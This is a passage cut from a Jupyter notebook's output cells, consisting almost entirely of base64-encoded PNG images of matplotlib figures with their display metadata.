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\n", "text/plain": [ "<Figure size 936x216 with 1 Axes>" ] }, "metadata": {} }, { "output_type": "display_data", "data": { "image/png": "iVBORw0KGgoAAAANSUhEUgAAAuMAAABQCAYAAACzvHtWAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAALEgAACxIB0t1+/AAAADh0RVh0U29mdHdhcmUAbWF0cGxvdGxpYiB2ZXJzaW9uMy4yLjIsIGh0dHA6Ly9tYXRwbG90bGliLm9yZy+WH4yJAAAgAElEQVR4nOydZ3RVVdqAn3vTe6+UQAqEIiWVLqFXKSoqVpQiKIPiiIpjFz51VKQJSBEFsSBIk5ZAQgukkUJISA/pnfTk1vP9iDkSkgApyIxznrWyVu45u9d3v/vd+8jKy8sFJCQkJCQkJCQkJCT+cuT3OwESEhISEhISEhIS/6tIwriEhISEhISEhITEfUISxiUkJCQkJCQkJCTuE5IwLiEhISEhISEhIXGfkIRxCQkJCQkJCQkJifuEJIxLSEhISEhISEhI3CckYVziv5KwJ58l+5df/9I4U9ZtIPa1FQDU5eURONAbQaO5o9v2cH7ydErDwtvt/25pS55upi1u/5O5EXWZs+MmETjQm8LAoPudnHtK2qYtxK98p9X3Oft+49LjT911eCGjx1FyIbQzktbh/tIRSsPCCR4RIP5ub98ri4jk7IQpnZm0OxL5wkJy9x/4S+Ns5K+ss85sa/eSuBUrSf5ybavvk79cyym/YZweOvJvM4ZKdA6SMP434fquHwid9Sgn+g4kbsXKZu81dXVcfe9DTvkNI2iwH2FPPC2+0yqUXH3nfU4PGckpnyFELVxCfUHhX5n8/zqMnJ0ZHxuFTEenw2G1NICPOHYYG3+/DofdFtqSp1vd3o/FEXR8kk5Zu57uTz3J+NgoHMaPa/b+Tv2qNPQi5yZO5eQDXoQ/9Rx1ubniO61CyZU33yZwkC+nh44kY8fOTvPbHtwWL6L/6o8AqM3J5bhHX7RqdYfD/btxt33vuEdfaq5fF39b+/ow6uTRe5m0Zvhs/4Yus2f+pXH+nbm1TjuTurw8MnfsZMSxw4y5eK5Dc0hbF84S//lIwvjfBAN7e9yWLKLrI7NbfB//r/dQVVQw8tgRxkZexPPtN8V3md/tojwmluFHfmP0hTPoWZiT+OGqvyrpEhL3jfrcPEw93Fp9f7t+pSy7QfRLy/B4ZSljIy9i3r8fMcteE9+nrN9A7fXrjD4ThN+unWRs3U7x2XMd9itxeyRNY9v5X1+U/RX5r8/LR8/SEgMbmzu6FQQBQau952mS+M9BEsb/JjhOHI/D+HHoWVo2e1edlk7RqWD6f/QB+jbWyHR0sOjfT3xfl5OD7YjhGNjaomNggOOUyVSlprYYjyAIJK76hNP+Iwgc5Mv5qTOoSk4BoCj4DBcemk3gIF9CRo4hZd0G0V+jJi7n1/2EjBxDkPcQsvb8REXcFc5Pm0mQlz8JH3wsus/Z9xuXHnuShA8+JmiwH+cmTqU09GKr+c/Zu49zE6cR5D2EiHkLmmgZbybyhYVc3/VDk2cXps+i4EQgAIkfrSZk5BgCB/kSOvMRyiIiWwznVs1ibXYOYXOfIXCQDxHPvoDqRnkT99FLX+H00JHirkRVSkOZZf/0C/mHj5CxbTuBA72JWrgEaKrx1SqUJH78fwQPf5Dg4Q+S+PH/oVUogT+32DO2f8tp/xEEDxtFzq/7Wy2n26WzxTw98fQfbp8n4f2PxG3pm90mf/kVNyKjSPzgYwIHepPwwce3bSe3Ul9YRNSilzjlM4SzYyeS/fNe8d2tuwY3mxTE/fMN6vPyubzoJQIHepP+zfYWw8/+eS9nx05s2PVZ9BL1hUUAnBkzkdrsHNF/Y5nezO36VeHJQEw93HGcPAkdAwPc//ESVdeSqE5LByDvt4O4LVmMnoUFpu5udJvzqGhS0BG/txLy4Fgq4q82+Dt4mOMefcX2lbN3H5cXvww0NSsIn9uwM3bK25/Agd7ciI4Rw7v2yWcEeQ/hTMB4is+cbTHORiquxHNuUkO/u/LGSjQKBQCqigqiFizmlN9wgryHELVgMfX5BaK/O/WXm2ms87RNWzjlN4yQ0ePIO3hYfB+3YiVX3/2AyPmLCBzgTemlMOoLi4h+aRmn/IZzJmA8md/tEt1r6uuJW7GSIO8hnJs0jcq4K03L86a+J2g0pG3awpkxEwkc5EPozEeoy88XdxZDp88mcKA3+b8fa2buUp2aRtiTzxLk5c/5ydMpOnW6SZoT3v+IqPkvEjjIh4sPP0bt9ayGONvQd27ekWrUlt5t/YWMHkf6lm2cnzaTwAHeaNVqyqNjuTRnLkFe/lyYPquJuU5b6uxO9R/25LOkrFnHpceebAjvufkoy26I73MPHCLkwbGc8h1K2tebW40HoDjkDOcmTSNwkA/BI0aTsW2H+K61vg8NWvDru/dwdtwkzo2f3GKdAhSdDuHC9FkEeflzac5cqq4liWFUXk0gdMbDBA7yIWbZcrRKRYtpLLkQSsRz81EUFRE40Ju4FSubjbdhTz5L8pdfNZTJA17UZmeTs+83zgRMIHCQD2cCxpN38DDVqWkkvPsB5dExBA70JsjL/7blI/HfgSSM/w9QEXcFoy7OpKzbwCm/YZyfOoOC4yfF910ffZgbl6OpLyxCU1dH/qEj2I0a2WJYJecvcCMikpGBRxkXHc6gtV+KgoqOsRED/v0J4y6H4b11E9l7fm5mh1sRG8fIoGMM+uoLrq36hLRNW/D9bjsjjh6i4OhxysIimrg17t6NMeEXcP/Hy0S/tAxlefMJoDDoFOmbv2HwxrWMCTuPtY83sa++3mL6naZNJf/In1vJ1Smp1OXmYT/6QQAsBvRn2KH9jI28iNP0qcT841VRwLgdsctfx7x/P8aGheL20mJyf2sqONmNGsmowOOMuXQe8359iVveIBR1e3wOTtOn0XP+C4yPjcL7m6+bhZ22aQvlMbEMO7Sf4Yd+oyLuSpMJSllSgrqqmtHng+m/+iMSPvgYVUVFu9J5q1uLgQ8wNjwU96UvkXvgUIvuei1/BSsfb/q89y/Gx0bR971/3badNIvnldcwdHRg9IUzDFr/FclffEXpxUutpquRAZ9/iqGzE15bNjI+NgrXhS80c1N68RLJX6xh4Lo1BFw4i1EXJ2JfadBAP3j6RBP/cgP9O8Z5M9UpqZh59hZ/6xobY9y9G9UpqagqKlAUFWPW58/3Zp69qU5J7bDfW7H286XsD6GpLCISo27duBEe1fA7PAJrP99mfvz2NAinY6PCGB8bhdXgQUBDnzPp2ZOx4RfoOf8F4le+gyAIrZZB/qEj+Hy7lVGnjlOTeZ20jQ3tUtAKdHl4FqPPBDH6zCnkhgYkfPjnYrst7RAa2rjyRjkB50IY8On/cfWd96lOz/gzHYd/x23xIsbFRGDlNZjLi5Zg5tmbgPPB+H63g+s7d1F87jwAqeu/pi47i1GnjuPz7VZyfzvYaryZO3aSf+Qo3ts2My46gv7/9zE6hkb4/9hQfsMO72d8bBROUyc38adVqbi8aAm2I4Yx5tI5+rz7NrGvrWia5t+P4rZ0CWMjL2Hs0p3kNQ2Lzrb0nVtpc/0d+R3vrZsYdzkMZUkpUQtfxG3JIsZGXqT3G68T8/IylKVlQNvq7E71D5B3+Hce+GQVYy6dR6tSkbH9W6ChbyS89wED/v0pAefPoCyvQHEbs8n4le/Q76P3GR8TyYjfD2I9dAhw+77fSFHgKYb8+hMjjh1usU4rryYQ/9a/6PfR+4yNCKXb43OIevEltAolWqWSy0uW4jzzIcZGXMRx0kQK/1Dq3Irt8GF4b9+Cgb0942OjGPDZ6hbd5R04RL+P32dcTAT61tYkfrQa7+1bGB8Tif/PezDr64mpuxt9P3wPy8GDGB8bxbjLYa2WjcR/D5Iw/j9AfUEB1ckp6JqZEnA+hL7v/osrb7xFdWoaAMY9XDB0ciRkxGiCBvtRnZaG28uLWwxLrquLuqaGmrQMEARM3d0wtLcDwMbfD7PevZDJ5Zh59sZp2hTKwptqlt1eWoyOgQG2I4ejY2yE07SpGNjYYOjogJWPN5UJiaJbfRtrXJ57BrmeHk5TJ2Pi2pPikOaanuwff8b1xYWYursh19XFdfFCKhOvtagddxg/jqqb3uUdPoLDhHGiIOY84yH0rSyR6+rS84V5aJUqam6aQFuiLi+PyivxeLyyFLmBPtZ+PtgHBDRx0/XRh9E1NUFuoC9qQVVVVbcNt5G8Q0dwf3kxBjY26NtY47Z0CbkH/xSMZbq6uL28GLmeHnajH0TX2Jia9Mx2pbOZ22VLkevrY+Xjjf3Ylt22xO3aSZN48vO5cTma3q+/ho6BAeZ9+9B1zsPk/tay4N9W8g4doevDs7Ho1xe5gT69XnuV8phYanNa3jlpC+raWnTNzJo80zUzQ11Tg7q2Vvx967uO+r0Vaz9fsZ/diIjC9cUFlEU0LGrLwiOwakEYbw0jZye6PfYoMh0dusyegaKoGGVJSavuuz81FyMnJ/QtLXFbvFBc6OpbWeI4aQI6RkbomprgtniRmMa2tMObEd37+2I3ehQFR4+L7+zHjcHK2wuZXE5VUjLKsjLcly5Brq+PcfdudH3sEQr+SFvB0eO4Ll6EvqUlRk5OuDzTuu1t9t59eLz6D0xdeyKTyTDv44m+1Z0F4/KYWNS1tbguWoBcXx+boUOwGz2a/CO/i24cxo/DcuAA5Lq6OD80jarEa8Dd952WaGv9uTzzFEZOTugYGpJ38DB2D47CbvSDyORybEcMw7x/f4rPnG1znd2u/hvp+vAsTHr2QMfQEKcpk8T8Fxw/iV3AaKz9fJAb6OPxylKQy1qNS6arS3VqGuqqavQsLLDo1xe4u77v+uIC9C0t0TE0bDHs7J/30u3xOVgOGvhHmc5Erq9PeUws5TFxCGq1OEc5Tp6IxQP9W03n3dBl9izMPDyQ6+oi09FBJpdTnZyCpr4eQ3s7zDw8OhS+xH8uuvc7ARL3Hh1DQ2R6urgteRG5ri7W/r5Y+/tTcj4UU3c3Et7/CK1SyZiIUHSNjEnfup2oFxYxdN/PzcKyGTqE7k/NJeGDj6jLy8Nhwng833gdXTNTymNiSf58DVXJKQgqFVqlEsfJE5v417f9015ObmDY9LehAZo/BBEAAwcHZLI/B2FDZycUN20zNlKXm0fix6u59n+f/flQEKgvLMKoS5cmbnVNTbAbPYr8I8dwXTSf/MNH6b/qA/F9xrYd5Ozdj6KoCGQy1NXVqG7c4HYoCovRNTdH19j4z7R2cRK3ZQWNhuQv11Jw7ATKsjJk8oY1sKrsBnq3CGQthl9UhGEXZ/G3kbNzQ/r+QM+yYfHQiNzIEHVtc8HtTum81a2ehQU6RkZ/unVybNFtS9yunTSNpwg9Cwt0TU2a5K/yytW7iudOKIqKMP9jcgbQNTFBz9ICRWEhxl273MbnndE1NkZdXd3kmbq6Gl0TE7GM1dXV6BgYNHnXUb+3YuXnw7VP/k19UTGCVoPT5Emkrf+a2pxc1FXVmPfxvOs86dv9KfQ11r26thaDVtwbOjn9+X+XP9ulpq6OxFWfUHLuPKqKyoZnNTUIGk2b2mEjzdzf0gcMnRzF/+vy8lAUFTfZvhe0Gqx8vIE/+tNN7m/uW7dSn1+Acffurb5vDUVRMYZOTmJfBzDq4txk/NK3tRX/lxsZoa5pGPvutu+0REfqry4vj4JjJyg6HSI+E9RqbIb4tbnOblf/jQcW9e1uyr+hobgIVRQVYej4Z/3oGhujf5udgcEb1pL29WaSP1+DWe9e9Hp9OVaDB91V37+5HbREXV4eub8dbGLaqFWpqC8qQiaTtTBHtd6W7oab06NrbMzAtV+Que1b4le+g5XXYHq/tQJTN9cOxSHxn4kkjP8PYNa7V/OHNw0gVYnX8Fi+TBzwXJ55ktS161GW3UDf2qqZ1x7PPk2PZ59GUVpKzD+Wk7FtBx6v/oPY5StweXou3tu3oGNgQOLH/4fyDoLs7VAUFiIIgjjY1eflYz92TDN3hk5OuC1ehPOM6XcVrtO0qaSu34iVnw9apQLrIQ2TdllEJBlbd+D7/Q5MPdyRyeUEeQ+57TYvgIG9LerKygZt5x+TVX1evljGeYd/pyjoNL7fbceoaxfUVVWc8h6CQEO4staVPn+Eb099bp6oFanPy8fA3v6u8tqWdN7qVlVRgaauTpzUbycsyVoIo7V20iQeB3tUFRWoq2tEgbw+Px8DBwcAdI2N0NTXi+6VxU21fC3F2zQfDWXXiLq2FlV5hRh+RzD1cG9i4qCuraU2KxtTD3f0LCwwsLejKjEJgxHDAKi6loSph3uH/d6KiYsLOkaGZO3ajbWvD7pmpujb2ZLz8y+itvhW7tTm7pb6/Pw//7+pXWZs30lNRiZDf/0JAzs7KhMSCZ3xMIIgtKkdNtLMfX4+pk20hDcJRE5OGHXtwqig47SEgb0d9fkFTfpTaxg6OVKblYVZr7ZpJBviyEfQasXyr8/Lx7iny135v5u+0yncVOSGTo44z3yI/qs+bOasLje3TXV2u/q/U9MzsLcTz05Ag2DfknliIxYDHsBr80a0KhVZu/cQ+4/ljD53+u76/h06gqGjI26LF+K25MVm78rCIprPUfn5GHfvdocc3oZb0mM3cgR2I0egqa8nZc1arv7rXfx/3H3HcU/ivw/JTOVvglatRqNQIGg1oNWgUSjEgyFWvj4YOTmRvnkrWrWaG1GXKQsLw3bkcAAsHuhP3m+HUFVVNQxoP/yIgYN9i4J4RdwVymNi0apU6BgZNWju/thC1NTUNGhTDQwoj40j//Dvzfy3BWVpGde/241WpaLg2HGq09Kxe3BUM3fdn3iM9C1bxUNrqqoqCo61PBED2D04irq8fFK/Wo/jlMniZKmpqUGmq4O+tRWCWk3q+q+baS9bwqhLF8z79yN13Qa0SiU3IqOaaJc0NTXI9fXQt7REU1dH8hdfNfGvb2tLXXZOq+E7TZtC2tdbUJaWoSy7QerGTTg/dHcLj7aks2W3GxvcRsdQ3IrbhjzYUJedLf6+XTtpEo+TE1Zeg0j+Yg0ahYKqa0nk7N2P84xpAJj18aTkzFmU5eUoiovJ3Pl903htbO5Ydjn7fqMyIRGtQknKF19hMXDAXWvFb9evHMaPozo5hYLjJ9EoFKRt2IRZ716i5sp55gzSvt6MqqKC6rR0cn7ZK15D1xG/LWHt68v1XXtEkxRrv4bf1n4+LbrXt7YGufy2ZXc3ZP3wI/X5BSjLy0nb9A1OUycBDW1ex9AAXXNzlOXlpG748yxEW9rhzTS6L4uIpDj4TLNdt0YsBzyArokJ6Vu2oamvR9BoqEpOoeKPg5qOkyeRvnkrqooK6vMLmh3ovplujz5MylfrqcnMRBAEqq4lofzj4KK+rQ11WS2Xn+XAAegYGpGxdTtalYrSsHCKgoNxmnrne8jvtu90Ns4zplN0Opjic+cRNA1tvTQsnPr8gjbX2e3q/044TJpAcXAINyKj0CqVpKxdD9qWFSJapZK8g4dRVVUh19ND19RULKv29P1b67TbY4+S/eMvlMfEIggC6tpaioLPoK6uwXJwg+mKOEedCBTbWGegKCmhMOgU6tpa5Pr66Bgbg0wuprO+oACtsvmhc4n/TiRh/G9C2tebCew/mIwt28g7eJjA/oPFQ35yPT0Gb95A8ZmznPLyJ/7tdxnw2SfixN/7zRXIDfQ5N24yp/1HUHzmHIM3rmsxHnV1NfH/eo9TPkM4M3ocepYW9Jz/PAB933+HlLXrCRzkQ9qGTThOmdShPFkMHEDt9euc9htO8pdrGbz+qxbtNR0mjKPnwvnEvvJPAgf5cmHKDIrPtH4NnNxAH4cJ4ygNvYjz9Knic9uRI7AdOYKz46dwZvQ45AYGd9zGbGTgl/+mIjaOU75DSV3/NV1mzRDfOc98CKMuzgSPHM35ydOxHDSwid+uj86mOjWVIC9/8eaLm3F76UXM+/fjwvSZXJg2A/O+fXB7qbmmpqPpbOb2i88oj4nhlN8wUtasxXHqZOT6LR9ydHn2aQqOnyTIewgJH666bTtpnqbPqcvJJWT4g1xe8g/c//EStsMbNMLOMx/CzLM3Z0aPJ2LegmYH5VxfXEDa15sJ8vJvcotCI7bDh+HxylKiX36F4OGjqM3KZtCaz++2uG7br/RtrBm04StS1qzllPcQymPjGPjVF6Jfj3+8jHH3boQ8OI7wJ5+lx/znxYPRHfHbElZ+PmhqarD2bTDFsPbzRVNTg5Vvy8K4jpERbosXcemxJwny8qc8Ovauy+RmnKZPJWLefM6OmYhx926iBtHluWfQ1Cs47TeMS48+ge3IEU38taUdQsOCVc/cnOARo4l7bQV9P3yv1e16mY4OXt9sojLxGmcCxnPKbzjxK98Rz2i4L12CURdnzgRMIGLefLrcZketx/PP4TR5EpHzFhA02JcrK99B+8dOjfvSl7jyxlsEefmTf/RYE39yfX28vtlI8ZlznPYbTsJ7HzYZc29HW/pOZ2Lk5ITXpg2kb/qG0/7DCRk5hsytOxCEhiv22lJnd6r/22Hm4UHf994hdvnrBA9/ED1zcwwcW9/Jyjt4mDOjxxM4yJesH39m4BcN5ort6fu31qnFA/3pt+oDEj5cxSnvIZwbN4nc/b8BDXU8eOM6cvf/xinfoRQcPYbDhObfKmgvglYgc8d3hAwfzSmfoZSFR9Lvg3cBsBnij5m7O8HDRnHKb1inxSlx/5CVl5fffg9eQuI+kLPvN3L27mPIT7vvd1Ik/iBm2XJMXHvisWzp/U6KxP8QpWHhxL32BgHng+93UiQkJCTuCZJmXEJCokUq4q5Qez0LQaul+Ow5ioJO4zBu7P1OloSEhISExN8K6QCnhIREiyiKS8S73Q0dHej7wbtNbieQkJCQkJCQ6DiSmYqEhISEhISEhITEfUIyU5GQkJCQkJCQkJC4T0jCuISEhISEhISEhMR94rY24xYWFn9VOiQkJCQkJCQkJCT+tmi1Wqr+uGb1ZiTNuISEhITEX0pmZiaLFy9m9erVZGRk3O/kSEhISPwlaLXaFp//VwrjCoWCpUuXcunSpfudFAkJCQmJNpCbm8vx48cJDQ1l9+7dbN26lbi4uPudLAkJCYn7RqdfbahWq0lLS+PYsWMkJSWhVqvx8vJi/PjxuLm5IZN17LO+Go2GrKwsDh48iK+vL/7+/h0O825JS0vj119/JTMzk8GDB9O3b1+0Wi22trb06dPnL0tHI4IgoFQqCQ8Pp0+fPlhaWiKTydDR0flL0yHRuSiVSnJycggNDSU0NBSNRkOXLl146KGHGDRo0P1O3v8kQUFBqNVqAGpqaqipqWHIkCH06tXrPqesY1y5coXQ0FCKioqYP38+Tk5O9zzO4OBgfvnlF65fv45SqSQpKYmKiop7Hu/9Qq1Wk5mZyaeffio+mzt3LqNGjZLGagmJ/xLUajW5ubkEBQWRmprK8uXLsbOz67TwO0UYFwSBqqoqEhMTSU9P59y5c5w+fZr09HTUajXh4eGYmZnh6OiIqalph+JSKpWEhYVRVFRE9+7d7+herVZTUVGBIAjY2tq2O97U1FS++eYbTpw4QVZWFlFRUQwePJj6+np69+6Nvr5+p+TvblCr1RQUFBAREcHVq1eJjY3F3d0dCwsLbGxs8PX1xdPTE0NDw3ueFonOpb6+nqtXr3Ls2DGOHz9OREQEarUaJycnsrOz+ec//0mvXr3+koXfr7/+yvXr1zEzM2P27Nkd6j93Ij4+nri4OGQyGQ888ACurq4YGxvfs/ha4saNGxQUFKDRaNDR0cHKyoqLFy+Sm5tLYGAgGo0GgNraWszNzenatWubhfFGe8Ha2tomz+VyOQ4OrX/yuzMRBIGioiIiIiI4ffo0wcHBlJSUMGPGjHsujNfV1XH+/HliY2OprKzEwMAAfX19jIyMOhSuSqXi8uXLANja2uLm5tYZye0UtFotRUVFbNu2TXw2ePBgRowY8bcQxgVBICcnh59++gkLCwvmzJmDhYXFX66ckpC4l5SWlrJr1y72799PZmYmTk5OLF26tNPaeYeFcbVaTWFhIWfOnOHEiRPExcWJW46C0HCFeXx8POHh4fj7++Ph4dGh+FQqFQkJCahUKgYNGnTbgqiqqiIhIYGIiAgAxo0bh6enZ7vizcvLIzk5GW9vb3x8fCgsLKS2tpaEhAQSExORy+WMHTsWX1/fdoV/t1RXV5OSksKZM2f4+eefCQsLQ09PDxMTE1QqFRYWFkyfPp1ly5bh5uaGnp5eu+IoKysjPz+fgoICdHR0sLW1xcrKqlU/5ubmWFlZ3dMFgFarpby8HCMjI8rLy1EqlVhZWWFsbIxKpSIzM5O8vDycnZ1FP+7u7u0qgzulo7S0lPz8fFxdXUlISKCwsBAvLy8cHBzQ1W1ftyorKyMuLo5Dhw5x8OBBMjMzxXf5+fns3r2b/v374+rq2ul5upVr166xevVqYmJi8PDwYMSIEfdMGI+Li+PUqVNkZmai1WrJyMggICCA/v37Y2Zmdk/ivJXU1FTOnTtHfHw8KpUKPT09evTowe7du7l27RpGRkbiWOPo6IinpyeWlpZ3HX5FRQVFRUXk5+eTnp5OcXFxk/e6uroMGTIEb29v9PX1OzVvjWi1Wqqrq0lISCAsLIwDBw5w7do1SkpK0Gq1KBSKexJvI0VFRZw+fZqIiAhxMWJgYICDgwOOjo4dCrumpoYNGzYgk8no0aMHfn5+yOWtW2EaGhri4uIiuikqKqJbt244OTndMyHy7yqcarVaoqKiWLFiBe7u7owfPx5zc/P7kl+tVktJSQm5ubkA9OzZs0399L+R5ORkKisrxflRoVAgCALOzs64ubnddt5uDa1Wi0qlQq1Wo6uri4GBwT1I+X8X5eXlBAYGEh0djUwm4/jx4yxdurTTwm+3MC4IAnV1deTk5HD06FE+++wzCgsLxffm5uYoFApUKhVarZaUlBTS09M7LIwLgkB9ff0d3Wm1WhISEvj0008JDg7GyMiI+Ph4Vq1ahY2NTZvj7devH6tXr8bT0xO5XC4KDrt27WL79u1s3boVrVZLjx49OnXr4mY0Gg0JCQns2LGDAwcOUF5eTvfu3cW/4uJiLl++zJYtW3B1dWXGjBm4uLi0uSOlpqZy6tQpDh48yEgRGvYAACAASURBVLlz5zAyMmLQoEEMHDiwVT8eHh4MHDgQe3t78ZmBgUGnbuNnZ2cTERGBpaUlV65coby8nAEDBtC1a1cqKyvZu3cvJ06cYOLEiaKf1atXY2Nj02kTQ+Ngf/DgQYKCgliwYAGrV68mPDycH374gXHjxrVLGL9x4waBgYHs3r2b0NBQ1G